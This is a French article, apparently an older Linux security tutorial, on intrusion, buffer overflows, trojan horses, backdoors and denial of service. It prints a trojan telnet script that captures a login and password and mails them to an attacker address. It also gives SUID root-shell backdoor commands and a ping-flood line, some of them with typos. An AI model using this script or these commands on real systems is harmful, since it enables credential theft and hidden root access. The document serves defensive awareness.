Une personne désirant attaquer votre système peut avoir l'un des deux objectifs suivants :
- obtenir un accès non autorisé au système (c'est ce que l'on appelle faire une intrusion).
- bloquer les services ou l'hôte (c'est ce que l'on appelle imposer un refus de service).
Soyez donc prêt à ce qu'un intrus essaie d'avoir accès à root ou tente d'exécuter le "master ping" (énorme paquet de commandes ping transmis pour provoquer le crash de votre hôte).
Intrusion
L'intrusion désigne le fait qu'une personne essaie d'avoir accès à votre système Linux. Les méthodes préférées vont de la méthode forte (forcer des mots de passe et des comptes utilisateurs) à la méthode la plus insidieuse (exploitation à distance ou utilisation détournée de comptes anonymes ftp ou autres).
L'attaque n'a pas besoin d'être très sophistiquée. Un hacker peut tester votre compte et la gestion des mots de passe en exécutant des programmes spécialisés (comme Crack, Satan ou Tiger), ou vérifier les ports que vous avez ouverts pour voir les programmes dont il pourrait se servir sur ces ports.
Un hacker peut tester des comptes de base de Linux (par exemple root, guest, satan) à partir d'un compte ouvert FTP ; rechercher la présence éventuelle de mots de passe simples sur votre système, car ils constituent une faiblesse classique de la sécurite, qu'un hacker peut découvrir immediatement en essayant les mots d'un dictionnaire ou en essayant les noms d'utilisateurs.
Attaque par I'intermédiaire de programmes
Une personne peut se servir d'un programme pour avoir accès à votre système : détruire vos programmes SUID, passwd par exemple, ou, à un niveau plus simple, créer un dépassement de la mémoire tampon en mettant trop de données dans le programme finger on xlock, ce qui provoque un plantage du programme et le vidage du noyau. Le vidage du noyau met dans un fichier tout ce qu'il y a dans la mémoire vive de l'ordinateur.
Une autre façon de se servir d'un programme consiste à configurer les fichiers sensibles avec les autorisations d'accès 666. Les possibilités de destruction sont infinies. Le moyen le plus courant actuellement de se servir d'un programme est de provoquer un dépassement de tampons : il est facile à mettre en oeuvre dès qu'un programmeur oublie de fixer une limite supérieure à la quantité des données entrantes. Une des premières versions de pine, par exemple, se paralysait dès que le champ from: était trop long. Il suffisait pour un hacker de maintenir une touche enfoncée :
From:hacker@czzzzzzzzzzzzzzzzzzzzzzzzt.com
Cette saisie provoquait une erreur de segmentation dans le programme et un vidage du noyau, en général, y compris les mots de passe ou d'autres données essentielles pour l'accès a root.
Une autre façon courante de se servir d'un programme est d'attribuer des autorisations d'accès inadéquates : autoriser un fichier à être exécuté avec SUID alors que tous les utilisateurs peuvent y écrire, par exemple. Cette autorisation permet aux utilisateurs d'exécuter des commander dans le programme en tant que root. Pour corriger une autorisation abusive, vous pouvez exécuter le programme en tant que nobody (personne) au lieu de root.
De nombreux programmes sont vulnérables. On sait que
sendmail et
finger ont été responsables de beaucoup de problèmes de sécurité dans le passé. Actuellement,
imapd,
named, le jeu video
Quake,
rsh et le serveur Web Apache sont connus pour être utilisables par un hacker.
Le cheval de Troie
Comme le nom de cette famille le laisse entendre, les programmes cheval de troie sont des programmes cachés qui obtiennent l'accès à root à l'insu de la victime. Par exemple, un étudiant ouvre une session sur son compte, puis il quitte la salle informatique. Si un attaquant survient, il a accès au compte de l'étudiant. Sans connaître le mot de passe mais sachant que la victime est un étudiant (rappelez-vous que telnet a été le programme le plus souvent utilisé pour pénétrer dans d'autres comptes systèmes), l'attaquant peut modifier le
PATH dans le
login ou dans le fichier
.profile de la victime ainsi :
PATH=/usr/bin:/usr/local/bin:/sbin:/usr/bin:/usr/local/bin:
/usr/X11R6/bin
Après ce changement, la commande PATH est exécutée dans le premier répertoire : si la commande est introuvable, le processus cherche dans le répertoire suivant. Supposez un hacker malin; il va créer un script, l'appeler telnet et l'insérer dans le répertoire home de la victime. Vite ! Il peut obtenir les données du mot de passe de la personne. Après avoir créé ce fichier, il fermera la session, sans que personne ne s'en rende compte (sauf un administrateur très vif). Voici un exemple de script de session cheval de troie :
#! /bin/sh
# Trojan Telnet session
echo "Trying $1..."echo "connected to $1. "echo "Escape character is \'^]\'."
echo " "
echo "Linux 2.0.34."
echo " "
echo "$1login: "
read ID
echo "password: "
read PW
echo "Login incorrect."
echo "User $ID and password $PD" | mail hacker@czt.com
rm $0
kill -9 $PPID
Ce script ressemble au programme réel (mais mon programme ne boucle pas trois fois , par souci de simplicité); l'utilisateur croit que c'est le programme. Le programme envoie le nom et le mot de passe au hacker par courrier électronique, puis le programme se tue (rm $0) et tue son processus (kill -9 $PPID).
Cette exemple montre un travail baclé : le programme ne boucle pas trois fois comme dans une session normale ; il ne crypte que le nom utilisateur et le mot de passe (ce qui le rend facile à suivre), l'adresse de courrier électronique du hacker est bien là, et le fichier, présent dans le compte de l'utilisateur, peut être supprimé avant que le hacker ne termine son travail.
Cependant, ce script est une voie facile pour un hacker qui veut pénétrer dans un système sans avoir l'accès initial. Ce script pourrait être exécuté par un utilisateur root insouciant qui a des répertoires en écriture dans son PATH. Il permet d'être utilisateur local, d'avoir le compte root et il nettoie les journaux de bord lui-même.
Programme "Backdoor" ...
Supposez que vous soyez un hacker. Vous vous êtes infilitré dans un système par l'intermédiaire d'un cheval de troie ou vous vous êtes servi d'un programme, mais la brèche dans la sécurité initiale risque d'étre refermée. Comment allez-vous pénétrer à nouveau dans le système ? Vous pouvez rechercher d'autres programmes par lesquels vous infiltrer ou laisser un
back door (porte de derrière), programme créant un nouveau point d'accès dans l'hôte.
Un programme back door peut correspondre à un compte utilisateur, un processus ou un port ouvert avec un programme joint. Par exemple dès que vous avez accès à root sur un hôte, vous pouvez créer un script qui exécute un shell en tant que root pour donner accès à root. Vous allez d'abord copier votre shell préféré vers un répertoire utilisateur (compte hôte, par exemple) et le renommer -
backdoor. Vous créez ainsi un fichier caché que vous pouvez utiliser à tout instant. Voici un exemple de fichier :
# cp - /bin/bash /home/guest
# mv /home/guest/bash home/guest/.kackdoor
Saisissez l'accès SUID au fichier et le contrôle de root.
# chmod 4755 home/guest/ .backdoor
# chown root home /guest/.backdoor
L'exécution de la commande .backdoor vous permettra d'accéder au système quand vous le voudrez. Un autre méfait possible consiste à mettre les autorisations d'un périphérique à writable-to-anyone (écriture pour tous). Cette modification vous permet de treansmettre au périférique des commandes qui seront exécutées en tant que commandes root.
Refus de service
Une attaque "refus de service" (denial-of-service) vise à provoquer un crash de l'hôte et des services réseau. Presque toutes les attaques qui sont possibls sur UNIX via des ports réseaux spécifiques le sont également sur les points vulnérables semblables sur Linux. Une attaque simple (pouvant bloquer un server Web) utilise la commande
ping avec l'option
(-f).
# ping -f FN.webserver.fr 80